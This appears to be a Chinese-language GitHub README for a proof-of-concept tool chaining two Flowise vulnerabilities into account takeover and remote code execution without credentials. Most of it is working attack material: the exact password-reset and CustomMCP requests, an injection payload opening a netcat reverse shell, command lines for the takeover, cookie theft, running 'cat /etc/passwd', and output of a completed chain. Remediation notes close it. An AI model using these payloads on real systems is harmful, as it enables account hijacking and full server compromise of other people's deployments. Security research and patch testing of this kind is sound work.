kartik2005221/CVE-2025-58434-AND-59528-POC
GitHub: kartik2005221/CVE-2025-58434-AND-59528-POC
一个将 Flowise 两个高危漏洞合并利用的模块化 PoC 工具,实现无需凭证的账户接管并触发远程代码执行。
Stars: 5 | Forks: 0
# Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528





## 目录
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [CVE-2025-58434 — 账户接管](#cve-2025-58434--account-takeover)
- [CVE-2025-59528 — 远程代码执行](#cve-2025-59528--remote-code-execution)
- [完整攻击链](#full-attack-chain)
- [受影响版本](#affected-versions)
- [仓库结构](#repository-structure)
- [环境要求](#requirements)
- [安装](#installation)
- [用法](#usage)
- [默认行为](#default-behaviour)
- [帮助屏幕](#help-screen)
- [链式模式](#chain-mode)
- [模块 — ATO](#module--ato)
- [模块 — 登录](#module--login)
- [模块 — RCE](#module--rce)
- [标志参考](#flag-reference)
- [反弹 Shell 与自定义命令](#reverse-shell-vs-custom-command)
- [示例输出](#example-output)
- [修复措施](#remediation)
- [披露时间线](#disclosure-timeline)
- [参考资料](#references)
- [免责声明](#disclaimer)
## 概述
本仓库将 [Flowise](https://github.com/FlowiseAI/Flowise) 中的两个 **严重** 漏洞合并为一个模块化 PoC 工具。
| | CVE-2025-58434 | CVE-2025-59528 |
|---|---|---|
| **类型** | 账户接管 | 远程代码执行 |
| **需要身份验证** | 无 | 是(任意有效账户) |
| **CVSS** | 9.8 严重 | 严重 |
| **受影响** | 云端 + 自托管 | 自托管 |
这两个漏洞可以自然衔接:CVE-2025-58434 提供无需身份验证的账户接管,从而满足 CVE-2025-59528 的身份验证要求,实现**单次自动化运行即可完成无身份验证的 RCE**。
## 漏洞详情
### CVE-2025-58434 — 账户接管
**根本原因:** `forgot-password` 端点在 HTTP 响应体中直接返回密码重置令牌(`tempToken`),而不是仅通过电子邮件发送。
**攻击步骤:**
1. `POST /api/v1/account/forgot-password` 提交任意已注册邮箱
2. 从 JSON 响应中读取 `tempToken` —— 无需访问邮箱
3. `POST /api/v1/account/reset-password` 使用泄露的令牌 → 设置新密码
4. 以受害者身份登录
**泄露的响应(精简):**
```
{
"user": {
"email": "admin@example.com",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
```
### CVE-2025-59528 — 远程代码执行
**根本原因:** `CustomMCP` 节点将用户提供的 `mcpServerConfig` 直接传递给 JavaScript 的 `Function()` 构造函数,未进行任何清理。由于 Flowise 在 Node.js 中运行,注入的代码可以完全访问 `child_process`、`fs` 以及所有 Node.js 内置模块。
**易受攻击的代码路径:**
```
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
```
**所需请求头:**
```
Content-Type: application/json
x-request-from: internal
Cookie: token=; refreshToken=; connect.sid=
```
**默认注入载荷(反弹 Shell):**
```
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
```
## 完整攻击链
```
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: } │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
```
## 受影响版本
| 组件 | 状态 |
|---|---|
| Flowise Cloud (`cloud.flowiseai.com`) | 受 CVE-2025-58434 影响 |
| Flowise 自托管(补丁之前的所有版本) | 同时受两个 CVE 影响 |
请查阅 [Flowise 官方安全公告](https://github.com/FlowiseAI/Flowise/security/advisories) 获取已修补的版本号。
## 仓库结构
```
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
```
## 需求
- Python 3.7+
- `requests` 库
## 安装
```
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
```
## 用法
### 默认行为
**无需模式标志。** 如果不带 `--chain` 或 `--module` 运行脚本,它将自动以完整链模式运行。默认的 RCE 载荷是反弹 Shell —— 只需提供 `--lhost` 和 `--lport`。
```
# 最小化调用 — 完整链 + 反向 Shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e admin@example.com \
--lhost 10.10.16.35 \
--lport 4444
```
在运行前启动监听器:
```
nc -lvnp 4444
```
### 帮助屏幕
```
python3 flowise_poc.py -h
```
### 链模式
从头到尾运行全部四个步骤:泄露令牌 → 重置密码 → 登录 → RCE。
```
# 反向 Shell(默认负载)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e admin@example.com \
--lhost 10.10.16.35 --lport 4444
# 自定义命令替代反向 Shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e admin@example.com \
-c "cat /etc/passwd"
# 自定义 ATO 密码 + 反向 Shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e admin@example.com \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
```
### 模块 — ATO
泄露 `tempToken` 并重置账户密码。停止在登录/RCE 之前。
```
# 默认新密码
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e victim@example.com
# 自定义新密码
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e victim@example.com \
-p "NewPassword2025!"
# 打印原始 JSON 响应
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e victim@example.com --json-output
```
### 模块 — 登录
进行身份验证并提取三个会话 Cookie 以供手动使用。
```
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e admin@example.com \
-P "password123"
# 脚本的 JSON 输出
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e admin@example.com \
-P "password123" --json-output
```
### 模块 — RCE
在服务器上执行。如果未提供 `--token`,则自动登录。
```
# 反向 Shell — 自动登录
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e admin@example.com -P "password123" \
--lhost 10.10.16.35 --lport 4444
# 自定义命令 — 自动登录
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e admin@example.com -P "password123" \
-c "id"
# 手动令牌 — 反向 Shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# 全部三个 Cookie 手动设置
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
```
## 标志参考
### Mode(全部可选,默认是 `--chain`)
| 标志 | 描述 |
|---|---|
| `--chain` | 完整链条:ATO → 登录 → RCE |
| `--module ato` | 仅账户接管 |
| `--module login` | 仅登录并提取 Cookie |
| `--module rce` | 仅 RCE |
### 目标
| 标志 | 简写 | 描述 | 必需 |
|---|---|---|---|
| `--url` | `-u` | Flowise 实例的基础 URL | 始终 |
| `--email` | `-e` | 目标 / 登录邮箱 | 始终 |
### ATO 选项
| 标志 | 简写 | 描述 | 默认 |
|---|---|---|---|
| `--new-password` | `-p` | 受害者账户设置的新密码 | `Flowise@Pwn3d2025!` |
### 认证选项
| 标志 | 简写 | 描述 |
|---|---|---|
| `--login-password` | `-P` | 登录模块 / RCE 自动登录的密码 |
| `--token` | — | 手动提供 `token` Cookie(跳过登录) |
| `--refresh-token` | — | 手动提供 `refreshToken` Cookie |
| `--connect-sid` | — | 手动提供 `connect.sid` Cookie |
### RCE 选项
| 标志 | 简写 | 描述 | 默认 |
|---|---|---|---|
| `--lhost` | — | 反弹 Shell 的攻击者 IP | — |
| `--lport` | — | 反弹 Shell 的攻击者端口 | — |
| `--command` | `-c` | 自定义 OS 命令(覆盖反弹 Shell) | 若无 lhost/lport 则为 `id` |
### 杂项
| 标志 | 简写 | 描述 | 默认 |
|---|---|---|---|
| `--timeout` | `-t` | HTTP 超时(秒) | `15` |
| `--json-output` | `-j` | 打印原始 JSON 响应 | `false` |
## 反向 Shell 与自定义命令
脚本自动选择正确的执行模式:
| 场景 | 使用的载荷 | HTTP 行为 |
|---|---|---|
| `--lhost` + `--lport`(无 `-c`) | mkfifo netcat 单行命令 | `cp.exec()` — 异步,立即返回 |
| `-c "..."` 包含 `nc`/`mkfifo`/`bash -i` | 检测为反弹 Shell | `cp.exec()` — 异步,立即返回 |
| `-c "id"` 或任何普通命令 | 用户命令 | `cp.execSync()` — 阻塞,返回输出 |
| 无 `-c` 且无 `--lhost` | `id` | `cp.execSync()` — 阻塞,返回输出 |
异步执行意味着 HTTP 请求立即完成 —— 反弹 Shell 载荷不会产生超时错误。
## 示例输出
```
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → ben@silentium.htb / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Reverse shell payload fired!
[!] Waiting for connection on 10.10.16.35:4444 ...
[!] Make sure your listener is running: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CHAIN COMPLETE
```
## 修复
### 针对 CVE-2025-58434
- **永远不要在 API 响应中返回令牌。** 仅通过注册邮件发送 `tempToken`。
- 返回**通用成功消息**,无论邮箱是否存在(防止枚举)。
- 使令牌**一次性使用**、短时效(≤15 分钟)并与请求上下文关联。
- 对 `forgot-password` 端点**限速**。
### 针对 CVE-2025-59528
- **永远不要将用户输入传递给 `Function()`、`eval()` 或 `vm.runInThisContext()`。**
- 将 `mcpServerConfig` 仅解析为**数据**(例如 `JSON.parse()`)——永不执行。
- 若需要动态评估,使用隔离的**沙箱**并限制上下文。
- 应用**严格的输入验证**和允许列表,仅允许指定的配置键。
### 通用
- 修补**云端和自托管**部署。
- 启用**密码重置**与节点加载方法端点的**日志记录与告警**。
- 考虑为所有管理账户启用**MFA**。
## 披露时间线
| 日期 | 事件 |
|---|---|
| 2025-08-19 | 发现并报告 CVE-2025-58434 |
| TBD | 发现并报告 CVE-2025-59528 |
| TBD | 厂商确认 |
| TBD | 补丁发布 |
| TBD | 公开披露 |
## 参考
- [GHSA-wgpv-6j63-x5ph — CVE-2025-58434](https://github.com/advisories/GHSA-wgpv-6j63-x5ph)
- [GHSA-3gcm-f6qx-ff7p — CVE-2025-59528](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p)
- [Flowise GitHub](https://github.com/FlowiseAI/Flowise)
- [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html)
- [CWE-94: Improper Control of Code Generation](https://cwe.mitre.org/data/definitions/94.html)
## 免责声明
仅限**教育用途**和**授权渗透测试**。
请参阅 [DISCLAIMER.md](./DISCLAIMER.md) 获取完整法律声明。
标签:API安全, ATO, CISA项目, Critical, CVE-2025-28434, CVE-2025-59528, CVSS 9.8, Flowise, JSON输出, PoC, Python, RCE, Web安全, 修复, 协议分析, 披露, 攻击链, 无后门, 暴力破解, 权限提升, 登录模块, 编程工具, 蓝队分析, 认证绕过, 账户接管, 远程代码执行, 逆向工具